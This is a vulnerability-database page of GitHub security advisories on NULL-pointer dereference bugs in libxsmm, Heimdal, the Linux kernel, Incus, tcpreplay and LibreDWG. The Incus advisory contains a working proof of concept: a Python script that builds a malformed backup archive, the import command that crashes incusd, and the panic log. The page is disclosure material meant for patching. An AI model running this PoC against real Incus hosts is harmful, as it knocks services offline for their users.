Vulnerability-Lookup

GHSA-G9R6-QHFX-9XCC

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15

Details

An issue was discovered in libxsmm through v1.16.1-93. A NULL pointer dereference exists in JIT code. It allows an attacker to cause Denial of Service.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-39535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-20T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in libxsmm through v1.16.1-93. A NULL pointer dereference exists in JIT code. It allows an attacker to cause Denial of Service.",
  "id": "GHSA-g9r6-qhfx-9xcc",
  "modified": "2022-05-24T19:15:09Z",
  "published": "2022-05-24T19:15:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hfp/libxsmm/issues/398"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GC5P-R2VH-QC88

Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2022-05-14 04:01

Details

In Heimdal through 7.4, remote unauthenticated attackers are able to crash the KDC by sending a crafted UDP packet containing empty data fields for client name or realm. The parser would unconditionally dereference NULL pointers in that case, leading to a segmentation fault. This is related to the _kdc_as_rep function in kdc/kerberos5.c and the der_length_visible_string function in lib/asn1/der_length.c.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-17439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-06T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Heimdal through 7.4, remote unauthenticated attackers are able to crash the KDC by sending a crafted UDP packet containing empty data fields for client name or realm. The parser would unconditionally dereference NULL pointers in that case, leading to a segmentation fault. This is related to the _kdc_as_rep function in kdc/kerberos5.c and the der_length_visible_string function in lib/asn1/der_length.c.",
  "id": "GHSA-gc5p-r2vh-qc88",
  "modified": "2022-05-14T04:01:33Z",
  "published": "2022-05-14T04:01:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17439"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heimdal/heimdal/issues/353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heimdal/heimdal/commit/1a6a6e462dc2ac6111f9e02c6852ddec4849b887"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=878144"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2017/dsa-4055"
    },
    {
      "type": "WEB",
      "url": "http://h5l.org/advisories.html?show=2017-12-08"
    },
    {
      "type": "WEB",
      "url": "http://www.h5l.org/pipermail/heimdal-announce/2017-December/000008.html"
    },
    {
      "type": "WEB",
      "url": "http://www.h5l.org/pipermail/heimdal-discuss/2017-August/000259.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC78-RVWJ-3H3P

Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25

Details

An issue was discovered in the Linux kernel through 4.17.10. There is an invalid pointer dereference in btrfs_root_node() when mounting a crafted btrfs image, because of a lack of chunk block group mapping validation in btrfs_read_block_groups in fs/btrfs/extent-tree.c, and a lack of empty-tree checks in check_leaf in fs/btrfs/tree-checker.c.

Severity

5.5 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-14612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-27T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in the Linux kernel through 4.17.10. There is an invalid pointer dereference in btrfs_root_node() when mounting a crafted btrfs image, because of a lack of chunk block group mapping validation in btrfs_read_block_groups in fs/btrfs/extent-tree.c, and a lack of empty-tree checks in check_leaf in fs/btrfs/tree-checker.c.",
  "id": "GHSA-gc78-rvwj-3h3p",
  "modified": "2022-05-13T01:25:51Z",
  "published": "2022-05-13T01:25:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14612"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.kernel.org/show_bug.cgi?id=199847"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/03/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00013.html"
    },
    {
      "type": "WEB",
      "url": "https://patchwork.kernel.org/patch/10503403"
    },
    {
      "type": "WEB",
      "url": "https://patchwork.kernel.org/patch/10503413"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3932-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3932-2"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4094-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4118-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104917"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC7J-G665-RXR9

Vulnerability from github – Published: 2026-05-04 17:40 – Updated: 2026-05-08 19:26

Summary

Incus has a Nil-Pointer Dereference Panic via Bucket Metadata

Details

Summary

Missing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.

In Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {
    [...]
    bucketRequest := api.StorageBucketsPost{
        Name:             srcBackup.Name,
        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,
    }

    // Create the bucket to import.
    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)
    if err != nil {
        return err
    }

    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })

    // Upload all keys from the backup.
    for _, bucketKey := range srcBackup.Config.BucketKeys {
        bucketKeyRequest := api.StorageBucketKeysPost{
            Name:                bucketKey.Name,
            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,
        }

        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op)
        if err != nil {
            return err
        }
    }

    // Upload all files from the backup.
    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name)
    if err != nil {
        return err
    }

    [...]
}

PoC

The following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.

Step 1: Create the malformed archive

From a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.

Commands:

cat <<EOF > poc_bucket_nil.py
import tarfile
import io

index_content = b"name: dos-trigger\n"

with tarfile.open("nil_panic.tar.gz", "w:gz") as tar:
    info = tarfile.TarInfo(name="backup/index.yaml")
    info.size = len(index_content)
    tar.addfile(info, io.BytesIO(index_content))

print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz")
EOF

python3 poc_bucket_nil.py

Result:

[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz

Step 2: Trigger the vulnerable bucket import path

From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.

Command:

incus storage bucket import local-pool nil_panic.tar.gz crash-test

Result:

Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.

Command:

journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic"

Result:

Mar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference
Mar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223]
Mar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:
Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)
Mar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303
Mar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?)
Mar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c
Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400)
Mar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576
Mar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.

It is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T17:40:00Z",
    "nvd_published_at": "2026-05-06T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMissing validation logic in the storage bucket import logic allows an authenticated user with access to Incus\u0027 storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.\n\nIn Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    bucketRequest := api.StorageBucketsPost{\n        Name:             srcBackup.Name,\n        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,\n    }\n\n    // Create the bucket to import.\n    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)\n    if err != nil {\n        return err\n    }\n\n    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })\n\n    // Upload all keys from the backup.\n    for _, bucketKey := range srcBackup.Config.BucketKeys {\n        bucketKeyRequest := api.StorageBucketKeysPost{\n            Name:                bucketKey.Name,\n            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,\n        }\n\n        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op)\n        if err != nil {\n            return err\n        }\n    }\n\n    // Upload all files from the backup.\n    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name)\n    if err != nil {\n        return err\n    }\n\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.\n\nStep 1: Create the malformed archive\n\nFrom a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.\n\nCommands:\n```\ncat \u003c\u003cEOF \u003e poc_bucket_nil.py\nimport tarfile\nimport io\n\nindex_content = b\"name: dos-trigger\\n\"\n\nwith tarfile.open(\"nil_panic.tar.gz\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"backup/index.yaml\")\n    info.size = len(index_content)\n    tar.addfile(info, io.BytesIO(index_content))\n\nprint(\"[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\")\nEOF\n\npython3 poc_bucket_nil.py\n```\n\nResult:\n```\n[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable bucket import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool nil_panic.tar.gz crash-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic\"\n```\n\nResult:\n```\nMar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223]\nMar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303\nMar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result \u0027exit-code\u0027.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-gc7j-g665-rxr9",
  "modified": "2026-05-08T19:26:20Z",
  "published": "2026-05-04T17:40:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40195"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has a Nil-Pointer Dereference Panic via Bucket Metadata"
}

GHSA-GC88-72MR-V2HG

Vulnerability from github – Published: 2026-07-24 18:31 – Updated: 2026-08-11 18:30

Details

In the Linux kernel, the following vulnerability has been resolved:

drm/msm/a6xx: Check kzalloc return in a8xx_hfi_send_perf_table

Check the return value of kzalloc() to prevent a NULL pointer dereference on allocation failure.

Patchwork: https://patchwork.freedesktop.org/patch/721342/

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-64215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T16:16:49Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/a6xx: Check kzalloc return in a8xx_hfi_send_perf_table\n\nCheck the return value of kzalloc() to prevent a NULL pointer\ndereference on allocation failure.\n\nPatchwork: https://patchwork.freedesktop.org/patch/721342/",
  "id": "GHSA-gc88-72mr-v2hg",
  "modified": "2026-08-11T18:30:39Z",
  "published": "2026-07-24T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64215"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/17c993bf44a54afd1fde184ba7f9c287dfc2632e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b5c7a7f452b885bfbe102bd3a057a5f496802f8b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC8H-W3QG-MPCQ

Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-09 21:32

Details

In the Linux kernel, the following vulnerability has been resolved:

drm/amd/display: Fix dc_link NULL handling in HPD init

amdgpu_dm_hpd_init() may see connectors without a valid dc_link.

The code already checks dc_link for the polling decision, but later unconditionally dereferences it when setting up HPD interrupts.

Assign dc_link early and skip connectors where it is NULL.

Fixes the below: drivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c:940 amdgpu_dm_hpd_init() error: we previously assumed 'dc_link' could be null (see line 931)

drivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c 923 / 924 * Analog connectors may be hot-plugged unlike other connector 925 * types that don't support HPD. Only poll analog connectors. 926 / 927 use_polling |= 928 amdgpu_dm_connector->dc_link && ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The patch adds this NULL check but hopefully it can be removed

929                         dc_connector_supports_analog(amdgpu_dm_connector->dc_link->link_id.id);
930
931                 dc_link = amdgpu_dm_connector->dc_link;

dc_link assigned here.

932
933                 /*
934                  * Get a base driver irq reference for hpd ints for the lifetime
935                  * of dm. Note that only hpd interrupt types are registered with
936                  * base driver; hpd_rx types aren't. IOW, amdgpu_irq_get/put on
937                  * hpd_rx isn't available. DM currently controls hpd_rx
938                  * explicitly with dc_interrupt_set()
939                  */

--> 940 if (dc_link->irq_source_hpd != DC_IRQ_SOURCE_INVALID) { ^^^^^^^^^^^^^^^^^^^^^^^ If it's NULL then we are trouble because we dereference it here.

941                         irq_type = dc_link->irq_source_hpd - DC_IRQ_SOURCE_HPD1;
942                         /*
943                          * TODO: There's a mismatch between mode_info.num_hpd
944                          * and what bios reports as the # of connectors with hpd

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-46245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:24Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix dc_link NULL handling in HPD init\n\namdgpu_dm_hpd_init() may see connectors without a valid dc_link.\n\nThe code already checks dc_link for the polling decision, but later\nunconditionally dereferences it when setting up HPD interrupts.\n\nAssign dc_link early and skip connectors where it is NULL.\n\nFixes the below:\ndrivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c:940 amdgpu_dm_hpd_init()\nerror: we previously assumed \u0027dc_link\u0027 could be null (see line 931)\n\ndrivers/gpu/drm/amd/amdgpu/../display/amdgpu_dm/amdgpu_dm_irq.c\n    923                 /*\n    924                  * Analog connectors may be hot-plugged unlike other connector\n    925                  * types that don\u0027t support HPD. Only poll analog connectors.\n    926                  */\n    927                 use_polling |=\n    928                         amdgpu_dm_connector-\u003edc_link \u0026\u0026\n                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ The patch adds this NULL check but hopefully it can be removed\n\n    929                         dc_connector_supports_analog(amdgpu_dm_connector-\u003edc_link-\u003elink_id.id);\n    930\n    931                 dc_link = amdgpu_dm_connector-\u003edc_link;\n\ndc_link assigned here.\n\n    932\n    933                 /*\n    934                  * Get a base driver irq reference for hpd ints for the lifetime\n    935                  * of dm. Note that only hpd interrupt types are registered with\n    936                  * base driver; hpd_rx types aren\u0027t. IOW, amdgpu_irq_get/put on\n    937                  * hpd_rx isn\u0027t available. DM currently controls hpd_rx\n    938                  * explicitly with dc_interrupt_set()\n    939                  */\n--\u003e 940                 if (dc_link-\u003eirq_source_hpd != DC_IRQ_SOURCE_INVALID) {\n                            ^^^^^^^^^^^^^^^^^^^^^^^ If it\u0027s NULL then we are trouble because we dereference it here.\n\n    941                         irq_type = dc_link-\u003eirq_source_hpd - DC_IRQ_SOURCE_HPD1;\n    942                         /*\n    943                          * TODO: There\u0027s a mismatch between mode_info.num_hpd\n    944                          * and what bios reports as the # of connectors with hpd",
  "id": "GHSA-gc8h-w3qg-mpcq",
  "modified": "2026-06-09T21:32:20Z",
  "published": "2026-06-03T18:33:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46245"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/226a40c06a183abaeb7529a4f54d6c203bd14407"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a490e4d3c9fed1e690c8de348416eea3a9f054ff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GC8M-9GPV-3RPR

Vulnerability from github – Published: 2025-08-24 12:31 – Updated: 2025-08-24 12:31

Details

A vulnerability was detected in appneta tcpreplay up to 4.5.1. Impacted is the function tcpedit_post_args of the file /src/tcpedit/parse_args.c. The manipulation results in null pointer dereference. The attack is only possible with local access. The exploit is now public and may be used. Upgrading to version 4.5.2-beta2 is recommended to address this issue. Upgrading the affected component is advised. The vendor explains, that he was "[a]ble to reproduce in 6fcbf03 but not in 4.5.2-beta2".

Severity

3.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

1.9 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-9384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-404",
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-24T10:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in appneta tcpreplay up to 4.5.1. Impacted is the function tcpedit_post_args of the file /src/tcpedit/parse_args.c. The manipulation results in null pointer dereference. The attack is only possible with local access. The exploit is now public and may be used. Upgrading to version 4.5.2-beta2 is recommended to address this issue. Upgrading the affected component is advised. The vendor explains, that he was \"[a]ble to reproduce in 6fcbf03 but not in 4.5.2-beta2\".",
  "id": "GHSA-gc8m-9gpv-3rpr",
  "modified": "2025-08-24T12:31:34Z",
  "published": "2025-08-24T12:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/appneta/tcpreplay/issues/971"
    },
    {
      "type": "WEB",
      "url": "https://github.com/appneta/tcpreplay/issues/971#issuecomment-3199014524"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1oVmsER6CXULLz_rnIyL410DJqO_hBtw_/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.321217"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.321217"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.630496"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GC8P-JVX2-7658

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2026-07-05 00:31

Details

A null pointer deference issue exists in GNU LibreDWG 0.10.2641 via output_TEXT ../../programs/dwg2SVG.c:114, which causes a denial of service (application crash).

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-21815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-17T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A null pointer deference issue exists in GNU LibreDWG 0.10.2641 via output_TEXT ../../programs/dwg2SVG.c:114, which causes a denial of service (application crash).",
  "id": "GHSA-gc8p-jvx2-7658",
  "modified": "2026-07-05T00:31:17Z",
  "published": "2022-05-24T19:02:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890932"
    },
    {
      "type": "WEB",
      "url": "http://gnu.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
